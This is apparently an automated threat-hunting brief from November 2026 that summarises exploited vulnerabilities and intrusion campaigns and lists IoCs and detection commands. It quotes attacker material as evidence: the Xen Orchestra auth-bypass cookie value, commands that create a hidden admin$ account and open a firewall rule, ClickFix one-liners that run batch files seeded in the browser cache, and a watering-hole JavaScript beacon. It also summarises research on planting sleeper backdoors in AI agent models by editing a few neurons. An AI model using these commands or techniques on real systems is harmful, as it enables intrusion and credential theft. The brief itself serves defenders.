2026-11-11

Developments on tracked stories (17 + 77 low-signal)

The brief — 27 stories · 4 deep reads

P1 · Xen Orchestra auth bypass VSA-2026-062 actively exploited for admin access and XCP-ng root

Vates warns that an authentication bypass in Xen Orchestra (VSA-2026-062, no CVE) is being actively exploited. A crafted REST cookie authenticationToken=j:%7B%7D makes XO return the first unexpired token, which gives Admin access; attackers can then harvest reusable token IDs via /rest/v0/users/me/authentication_tokens and reach code execution and root on XCP-ng nodes. Hunters should look for the empty-object cookie in HTTP traffic (it is not logged by XO), a VM named pivot2, VMs with hvm_serial: file, /etc/cron.d/zz-ustar* and /.ustar* files, and connections to 91.211.251.112:8001 or the listed .onion:3333.

Why P1: Actively exploited auth bypass in internet-exposable virtualization management, leading to hypervisor root; concrete IoCs and host-check commands are published. · ATT&CK: T1190, T1550.001, T1053.003, T1578.002, T1574.006, T1090.003

Deep read — score 18: +6 2 behaviors, +4 2 evidence samples, +2 1 detection guidance, +2 6 IoCs, +1 financial relevance, +2 light read P1, +1 High

Behaviors (4, 4 new)

Evidence samples (7)

authenticationToken=j:%7B%7D

authenticationToken=j:{}

/rest/v0/users/me/authentication_tokens

/etc/cron.d/zz-ustar

/etc/cron.d/zz-ustar2

/.ustar5

/.ustar6

Published detection guidance (2)

• Run these on XCP-ng hosts to find VMs with a file-backed serial port, file serial usage in the xensource logs, and malicious files (including /etc/ld.so.preload). tier BXCP-ng host shell link

  Run these on XCP-ng hosts to find VMs with a file-backed serial port, file serial usage in the xensource logs, and malicious files (including /etc/ld.so.preload).
  xe vm-list params=name-label,platform | grep -B1 'hvm_serial: file' zgrep -- '-serial file:' /var/log/xensource.log* ls -la /etc/ld.so.preload /.ustar* /etc/cron.d/zz-ustar*

• Monitor HTTP for authenticationToken=j:%7B%7D or j:{} cookies and block the empty token at a WAF or reverse proxy. XO does not log this cookie. tier BWAF/reverse proxy link

IoCs — 6 new

Sources

• The Hacker News — ok
• BleepingComputer — ok
• wiz.io — ok

P1 · Microsoft Outlook zero-day CVE-2026-124194 leaks NTLMv2 hash via crafted message file; exploitation reported, no confirmed compromises stated

Microsoft's November 2026 Patch Tuesday fixes CVE-2026-124194, an Outlook spoofing flaw that the company says has been exploited. An unauthenticated attacker sends a crafted message file that, when opened, makes Outlook connect to an attacker-controlled network location without the external-content warning, disclosing the user's NTLMv2 hash. Hunters should look for outbound SMB or NTLM authentication from Outlook or Office processes to external hosts, but the sources do not describe specific observed attacks or indicators.

Why P1: Vendor-stated exploited Outlook zero-day with NTLMv2 hash disclosure; patch Office promptly. · ATT&CK: T1187, T1566.001

Behaviors (1, 1 new)

Sources

• SecurityWeek — ok
• https://therecord.media/patch-tuesday-microsoft-1000-bugs-again — not fetched
• https://krebsonsecurity.com/2026/11/microsoft-fixes-nearly-1100-security-vulnerabilities/ — not fetched
• https://blog.talosintelligence.com/microsoft-patch-tuesday-for-november-2026/ — not fetched
• https://www.crowdstrike.com/en-us/blog/patch-tuesday-analysis-november-2026/ — not fetched
• https://isc.sans.edu/diary/rss/33508 — not fetched
• https://thehackernews.com/2026/11/microsoft-patches-1259-flaws-including.html — not fetched
• https://www.malwarebytes.com/blog/bugs/2026/11/microsoft-patch-tuesday-fixes-outlook-flaw-already-under-attack — not fetched
• https://www.darkreading.com/vulnerabilities-threats/november-patch-tuesday-cornucopia-cves — not fetched
• https://www.bleepingcomputer.com/news/microsoft/microsoft-november-2026-patch-tuesday-fixes-1-235-flaws-outlook-zero-day/ — not fetched
• https://www.bleepingcomputer.com/news/microsoft/windows-11-kb5132061-and-kb5131087-cumulative-updates-released/ — not fetched

P1 · Openwave Webtop Media Transcoder and Cisco BroadWorks CVEs exploited; KEV-listed, Cisco campaign against a European telecom

Threat actors are reportedly exploiting CVE-2026-111793 in Openwave Webtop Media Transcoder and CVE-2026-20320 in Cisco BroadWorks to access sensitive information. Malbear Labs reported a Chinese-speaking actor using an autonomous AI intrusion harness to exploit the BroadWorks flaw against a European telecommunications provider, focusing on asset enumeration, credential theft, and subscriber billing and device record harvesting. CISA added both to KEV on November 10 with a November 24 patch deadline; hunters should watch OCI-P requests carrying external entity XML and webtop file-conversion activity.

Why P1: KEV-listed internet-facing telecom products with reported active exploitation against a telecom provider · ATT&CK: T1190, T1005, T1078

Behaviors (1, 1 new)

Sources

• SecurityWeek — ok
• https://thehackernews.com/2026/11/cisco-broadworks-and-openwave-flaws.html — not fetched
• https://www.bleepingcomputer.com/news/security/cisa-flags-cisco-broadworks-flaw-as-actively-exploited-in-attacks/ — not fetched

P1 · SGLang RCE exploited to breach NEAR AI inference server; about 100 users' account data and two API keys exposed

An attacker exploited an unpatched remote code execution flaw in SGLang, an open-source inference engine, on a NEAR AI inference server, and ran code there. The attacker reached an internal Private Chat system and 18 agents on an older non-TEE NEAR AI Agents deployment, and the company confirmed download of account details for about 100 users and exposure of two NEAR AI Cloud API keys in logs. The flaw has no CVE and the affected SGLang versions and fix status are not stated; hunters should review inference server process activity for shell or interpreter children of SGLang.

Why P1: Confirmed RCE-driven breach with data theft, but no CVE, no named affected versions, and no published detection content; no specific huntable command sequences are printed. (raised to P1: exploited + behaviors/KEV) · ATT&CK: T1190, T1059

Behaviors (1, 1 new)

Sources

• The Hacker News — ok

P2 · CopperDragon's Sparrow framework links SilentDelivery, OceanGate and DarkWire China-nexus espionage clusters

Check Point Research attributes three clusters (SilentDelivery, OceanGate, DarkWire) to CopperDragon, a suspected quartermaster supplying the Sparrow framework to China-nexus actors such as FamousSparrow and Earth Estries. Targets include telecom, government, military, shipping and research organizations across Latin America, Asia and Europe. The clusters gained access through watering-hole fake Chrome certificate pages delivering MSI installers (SquadC), through phishing LNKs that abuse ftp.exe, and through compromise of internet-facing Linux servers followed by trojanized SSH, RDP password guessing and LSA/LSASS credential theft. Hunt for the CopperAdu admin$ account and the RasiUwpApp firewall rule, a WindowsUpdateAssist Run key, ftp.exe spawned from LNK files, new LSA security packages, and WinDivert driver loads.

Why P2: China-nexus espionage campaign with concrete Windows/Linux behaviors to hunt, but no CVE and no financial-sector targeting reported. · ATT&CK: T1189, T1204.002, T1566.001, T1547.001, T1218, T1190, T1554, T1110.001, T1021.001, T1136.001, T1564.002, T1547.005, T1003.001, T1056.001, T1014, T1071.004, T1574.001, T1572, T1090

Deep read — score 30: +15 12 behaviors, +10 8 evidence samples, +1 4 IoCs, +2 primary source, +2 light read P1

Behaviors (12, 12 new)

Evidence samples (7)

net user admin$ "Admin@123456" /add /expires:never /passwordchg:no

wmic useraccount where "Name='admin$'" set PasswordExpires=false

net localgroup administrators admin$ /add

netsh advfirewall firewall add rule name="RasiUwpApp" dir=in action=allow protocol=TCP localport=445 profile=any

sc config LanmanServer start= auto

/image-check?t=<datetime>

fetch(serverUrl + "/report-url", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ url: window.location.href })
});

Published detection guidance (2)

• WinDivert filter used by passive SparrowDoor tier AEDR link

  WinDivert filter used by passive SparrowDoor
  ( (inbound and tcp.DstPort == %d // Legitimate external listening port and ip.SrcAddr == %s) or // Connections from a specific source IP (outbound and tcp.SrcPort == %d) // Backdoor's internal listening port
  )

• Watering-hole JS beacons to C2 paths /image-check?t=<datetime>, POST /report-url; backdoor registers via /register-ip — hunt proxy logs tier Aproxy link

IoCs — 6 new

Sources

• Check Point Research — ok
• The Hacker News — ok

P2 · ClickFix chains expand to persistence, lateral movement to DCs, stego PNG payloads and Node.js DuskDesk RAT

Huntress reports ClickFix lures (malvertising, SEO poisoning, compromised sites) now leading to DLL-sideloading chains, Run key/scheduled task persistence, AD recon, reverse SSH tunnels, WinRM/PsExec/SMBExec lateral movement to domain controllers, PNG-steganography payload reconstruction, browser-cache-seeded batch files, and a Node.js RAT masquerading as RMM (DuskDesk). Confirmed compromises are described, including one incident with 11 hosts compromised. Hunt for browser/explorer spawning cmd/PowerShell, executables in C:\ProgramData\<hex> folders, node.exe Run keys, and ssh.exe reverse tunnels.

Why P2: Widespread technique with concrete, vendor-stated huntable endpoint behaviors and command lines; no CVE. · ATT&CK: T1204.004, T1059.001, T1059.003, T1574.001, T1547.001, T1053.005, T1482, T1069.002, T1033, T1572, T1021.006, T1021.002, T1136.001, T1027.003, T1583.008, T1059.007, T1036.005, T1105

Deep read — score 33: +15 14 behaviors, +6 3 evidence samples, +4 2 detection guidance, +3 14 IoCs, +2 primary source, +1 financial relevance, +2 light read P1

Behaviors (10, 10 new)

Evidence samples (8)

cmd /c for /r "%LOCALAPPDATA%\Mozilla\Firefox\Profiles" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

cmd /c for /r "%LOCALAPPDATA%\Google\Chrome\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

cmd /c for /r "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

C:\ProgramData\f8f33b09aed97a47\

%LocalAppData%\Temp\6341434163416441.txt

C:\ProgramData\ShService\r.ps1

C:\ProgramData\7168f7f870a45fbb\

HKU\S-1-12-1-2467919044-1094609404-2049208971-2597337003\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Published detection guidance (1)

• Monitor browser or user-launched process spawning cmd.exe/PowerShell/Windows Terminal, encoded PowerShell, execution-policy bypass, archives/executables in user-writable paths, new scheduled tasks/Run keys, unexpected SSH connections; focus on sequence over static IoCs. tier AEDR process/registry/network events link

IoCs — 20 new

Sources

• Huntress — ok

P2 · Railway says stolen customer AI provider keys drove about $740,000 in unauthorized usage; platform will cover charges providers refuse to refund

Railway, a platform-as-a-service provider, said an October 2026 breach let an attacker decrypt customer environment variables in at most about 100,000 workspaces, querying for AI provider keys that were then used for an estimated $740,000 in unauthorized spending. The attack chain began with a sandbox escape in the build system, followed by an internal Temporal trust abuse, a wrongly configured OIDC binding in a cloud environment, and use of an orchestration machine's KMS access to decrypt variables. Hunters should look for unusual calls to registry services, OIDC/short-lived credential issuance anomalies, and unexpected AI provider key usage; the company says revoking and rotating keys with the issuing provider is required.

Why P2: Concrete cloud credential-abuse chain at a PaaS provider with broad AI key exposure, but no published hunting content or indicators yet. · ATT&CK: T1611, T1552.001, T1078.004, T1552.004, T1552.005, T1619, T1213

Behaviors (4, 0 new)

Sources

• The Hacker News — ok
• https://www.bleepingcomputer.com/news/security/railway-breach-leads-to-740000-in-fraudulent-ai-charges/ — not fetched
• https://www.bleepingcomputer.com/news/apple/railway-breach-leads-to-740-000-in-fraudulent-ai-charges/ — not fetched

P2 · Git 2.56.1 fixes CVE-2026-111760 recursive-clone code execution and five other flaws

The Git project released Git 2.56.1 with matching fixes in 2.50.2 through 2.55.1 for a flaw (CVE-2026-111760) where an integer truncation in index handling lets a malicious repository replace a submodule .git file with a symlink to attacker-controlled hooks or config, enabling code execution during recursive clones. Five other flaws are fixed, including fast-import unsafe features (CVE-2026-114466), a large-merge heap overflow (CVE-2026-105437) reachable by servers running git merge-tree, and a binary patch out-of-bounds read (CVE-2026-114469). Hunters should look for recursive clones of untrusted repositories and servers running git merge-tree or fast-import with untrusted input; the sources publish no exploitation reports.

Why P2: Widely deployed developer tool with a code-execution flaw on recursive clone, but no reported exploitation and no detection content published. · ATT&CK: T1204.002, T1059

Behaviors (1, 0 new)

Sources

• The Hacker News — ok

P3 · Blind Eagle uses fake court notices to attempt AsyncRAT/DCRat-lineage RAT delivery in LatAm; no confirmed compromises

Zenox reports a Blind Eagle (APT-C-36) phishing wave of ~3,300 emails (late Oct–early Nov 2026) using Spanish/Portuguese judicial-themed lures, mainly against Colombian organizations. A weaponized SVG/XHTML file impersonating Colombia's Fiscalía uses HTML smuggling to build a ZipCrypto ZIP containing a JavaScript dropper posing as 'Network Configuration Auditor 2.7.298', which launches VBScript for AMSI/ETW bypass, clears MotW, persists via the Startup folder, and uses PowerShell to load the RAT in memory. Zenox could not confirm successful compromises. Hunt for wscript/cscript launched from browser download paths, VBS spawning PowerShell, and new Startup folder entries.

Why P3: Regional LatAm-focused commodity RAT phishing, unconfirmed success; generic huntable script-chain behaviors. · ATT&CK: T1566.001, T1027.006, T1059.007, T1059.005, T1059.001, T1553.005, T1547.001, T1070.004, T1082, T1036, T1620

Deep read — score 14: +12 4 behaviors, +1 financial relevance, +1 light read P2

Behaviors (6, 6 new)

Published detection guidance (1)

• Email detections for SVG attachments with JavaScript lacking image content, DOM writes, or ZIP download (Attachment.SVG.JavaScript.HTML_Script, Attachment.SVG.Javascript_Dom_Write, Attachment.Qbot.Svg_JavaScript) tier AEmail security gateway link

Sources

• The Hacker News — ok
• cloudflare.com — ok

P3 · Microsoft Research shows editing fewer than 10 neurons can plant a backdoor in AI agent models; no threat actor use observed

Microsoft Research describes a technique that edits fewer than 10 neurons in an agent model to inject a sleeper payload that passes evaluations and runs an attacker command when a trigger string appears in context. Microsoft states it has not observed any threat actors weaponizing this technique. Hunters should treat this as a research item: audit third-party model weights against their declared base and treat unverified fine-tunes as untrusted.

Why P3: Research-only proof of concept with no observed in-the-wild use and no concrete published log behaviors.

Behaviors (0)

None extracted.

Published detection guidance (2)

• Diff every model checkpoint against its declared base model before deployment and after updates; flag tensors or rows whose change is a statistical outlier relative to the rest of the diff. tier A link
• Enable Microsoft Defender for Endpoint in active mode on hosts running agents or local inference so suspicious child processes and outbound connections from agent host processes are detected. tier AEDR process events link

Sources

• Microsoft Security Blog — ok
• https://thehackernews.com/2026/11/microsoft-researchers-show-ai-agents.html — not fetched

Quick reads — nothing huntable found (17)

• Barracuda ESG and appliance flaws CVE-2026-116606 and CVE-2026-111560 under active exploitation; attempts reported, no confirmed compromises stated P1 · Threat actors have started exploiting two patched Barracuda flaws: CVE-2026-116606, an authentication bypass in Email Security Gateway allowing restore of a crafted backup archive, and CVE-2026-111560, a root-level OS command injection affecting ESG, Load Balancer ADC, WAF, WSG, Message Archiver and WAF Control Center. Previdian observed 17 attempts against CVE-2026-116606 from 15 IPs in three countries between November 9 and 11, and CISA added both to KEV. Barracuda and CISA have not shared exploitation details, so hunters should focus on admin interface access and backup restore activity on appliances. — update to 2026-11-10's story
• CISA adds Google Chromium XML use-after-free CVE-2026-125350 to KEV; affects Chromium-based browsers including Edge and Opera P1 · CISA added CVE-2026-125350, a Chromium use-after-free in the XML component, to the KEV catalog on 2026-11-10 with a 2026-11-24 due date. The KEV entry says a remote attacker could execute arbitrary code inside the sandbox via a crafted webpage, and that it may affect Chromium-based browsers such as Google Chrome, Microsoft Edge, and Opera. The sources do not describe observed exploitation details, threat actors, or detection artifacts, so hunters should focus on confirming patched browser versions across Chromium-based browsers. — update to 2026-11-10's story
• Public iOS sandbox escape 'worse_query' lets apps read other apps' data; no fix confirmed, no attacks reported P2 · A researcher released a proof-of-concept iOS sandbox escape called worse_query that can reach other apps' data containers on iOS 26 and 27 when the app sets up an App Group container. Binance warned users that seed phrases, private keys and logins could be exposed to malicious apps, and advised deleting sideloaded apps and resetting sessions. Neither the exchange nor the researcher reported any attacks or thefts, and Apple's iOS 27.2.1 and 26.7.3 notes do not mention the issue. Hunters should look for sideloaded apps using App Group containers, though no published detection content was found.
• Adobe November 2026 patches about 110 vulnerabilities, including six CVSS 10 Adobe Connect flaws; no exploitation known P2 · Adobe's November 2026 Patch Tuesday fixes roughly 110 vulnerabilities across nine products, with critical issues in Adobe Connect and Adobe Experience Manager (AEM). Six Connect flaws score CVSS 10 and cover SSRF, path traversal, incorrect authorization, CRLF injection, XXE, code injection, SQL injection, and XSS, which can lead to privilege escalation and arbitrary code execution. Adobe says it is not aware of attacks exploiting the patched vulnerabilities, so defenders should prioritize internet-facing Connect and AEM servers for patching; no hunting behaviors are published.
• Malwarebytes reports fake-urgency advent calendar stores copying one template; no technical compromise or malware reported P3 · Malwarebytes examined several online advent-calendar stores that share a website template, use fabricated urgency cues such as countdowns, low-stock warnings and fake reviews, and lack licensing or business contact details. The researchers state they found no evidence the pages were designed to steal card details, and the risks they describe are misleading sales claims and non-delivery or mismatched goods. Hunters have no technical indicators or behaviors to act on; the content is consumer-fraud awareness.
• Nitori reports possible theft of up to 37.6M customer records; cause under investigation P3 · Japanese furniture retailer Nitori confirmed unauthorized third-party access to a system it manages, detected November 6, 2026, with the attacker likely present since mid-October. Up to 37.62 million personal records (membership numbers, names, contact details, birth dates, order data) may have been leaked externally, while passwords and credit card data were stated as not exposed. The company is investigating the cause, including whether ransomware was involved, and warns of phishing using the exposed data; hunters should focus on phishing targeting Nitori customers rather than specific technical indicators, since none were published.
• US Army soldier arrested in UK on suspicion of spying for Russia P3 · UK counterterrorism police, working with the FBI and US military, arrested a 41-year-old unnamed U.S. Army soldier under the UK National Security Act espionage provisions near Gloucester, and searches were underway at two Gloucestershire locations. Police said the allegations relate to Russia, and the man is in custody in London. The sources describe no cyber intrusion or technical attack behaviors, so hunting guidance does not apply.
• Intel and AMD publish over 200 vulnerability fixes; Intel BigDL discontinued and will not be patched P3 · Intel published 24 advisories covering just over 100 flaws, including three critical issues in the TDX MigTD reference software, one of which (CVE-2026-61887) may allow remote code execution. AMD published 29 bulletins and two security briefs covering roughly 100 CVEs, with none rated critical. Intel will not patch three medium-severity privilege escalation bugs in the discontinued BigDL product and advises users to uninstall it; no exploitation is reported in the sources.
• ICS Patch Tuesday: Siemens, Schneider, Phoenix Contact and others publish advisories; several products inherit PHP2Shell and Node2Shell flaws P3 · Siemens, Schneider Electric, Phoenix Contact, VDE CERT, Johnson Controls and Hitachi Energy published industrial advisories in the Patch Tuesday cycle. Siemens says Node2Shell exploitation attempts have been seen but no attacks specifically targeting Siemens products, and several Siemens and Phoenix Contact products are affected by PHP2Shell. Hunters should track exploitation attempts against PHP and Node-based components on internet-facing systems and apply vendor mitigations, since some Siemens products have no patch yet.
• iVerify reports criminal actors using Coruna and DarkSword iOS exploit kits for credential and crypto theft P3 · iVerify's report says about 75% of its spyware detections involved criminal actors deploying the Coruna or DarkSword iOS exploit kits, with the remainder linked to mercenary spyware such as Pegasus. Per the source, DarkSword is delivered via watering-hole attacks triggered simply by visiting a compromised website, and Coruna via web-based attacks exploiting WebKit and kernel vulnerabilities. The sources describe the activity mainly for credential and crypto theft and report that affected owners did not receive Apple threat notifications. The article prints no specific behaviors, command lines, or indicators for hunters to match.
• Forks of Artex AI pen-test framework and 45 similar tools can still run credential attacks and cloud breaches P3 · A researcher report, as summarized in a feed item, says forks of the Artex AI pen-test framework and about 45 similar tools can still be used to run credential attacks and cloud breaches. No source could be fetched, so the specific techniques, tooling details, and indicators are unverified. Hunters should treat this as awareness only until the original report is reviewed.
• Research reports AI-assisted reverse engineering of Turla malware P3 · A researcher feed item states that AI tools can help unpack and recreate complex software, including Turla malware, lowering reverse-engineering costs. The item is a feed summary only and describes no intrusion, victim, or confirmed adversary action. Hunters have no specific behavior or indicator to look for from this item alone.
• Google opens Gemini 4 Carbon to paying customers; Wiz reports zero-days found at SaaS providers with it P3 · Google expanded access to Gemini 4 Carbon to paying developers, businesses, and AI Ultra subscribers, and says Wiz used Carbon for cyber to find zero-days at two major SaaS providers within two hours. Google's CVR team reportedly used the model to confirm two bugs in an open source project were exploitable, prompting a patch. The source describes an AI model and formal verification research, not an adversary campaign, so there are no adversary behaviors or confirmed exploitation to hunt for.
• Researcher bypasses Ray-Ban Meta smart glasses code-signing check to run her own app P3 · A vulnerability researcher (pamoutaf) showed that Ray-Ban Meta glasses accept unsigned third-party apps by flipping the signature-check switch in a settings file sent from the paired phone; changing one byte disabled the check in firmware 127. Older firmware up to and including 126 did not check signatures at all. Per the source, the glasses could then accept commands from the paired phone over wireless, but the source does not demonstrate exfiltration of camera or recording data. Hunting value is limited to device-side telemetry, and the source gives no detection guidance.
• SBOM and VEX as vulnerability-response tools, and extending transparency to AI BOMs (policy discussion, no threat activity) P3 · A SecurityWeek podcast write-up summarizes an interview with policy expert Allan Friedman on using SBOM and VEX data to speed vulnerability response and on extending bill-of-materials concepts to AI systems. The article describes no specific adversary activity, campaign, or compromise. Hunters have no behaviors to chase here; the item is useful only as background on component-level exposure triage.
• F-Secure publishes taxonomy of 26 ways AI can harm consumers P3 · F-Secure has published a taxonomy describing 26 ways AI systems can harm consumers and points of intervention for defenders. The brief item is a feed summary only and no source was fetched, so no technical behaviors, indicators, or detection content can be confirmed. Hunters have no concrete artifacts to search for from this item.
• Palantir CISO Michael LoSapio nominated to lead CISA; Senate confirmation uncertain P3 · President Trump nominated Palantir's CISO Michael LoSapio to lead CISA, which has lacked a Senate-confirmed director since Trump returned to office and is currently led in an acting capacity by Nick Andersen. The source reports it is unclear whether the Senate will act during the lame-duck session, and that the nomination would need to be resubmitted next year if not approved. This is a policy and leadership story with no technical attack details, so there are no behaviors, artifacts, or indicators to hunt.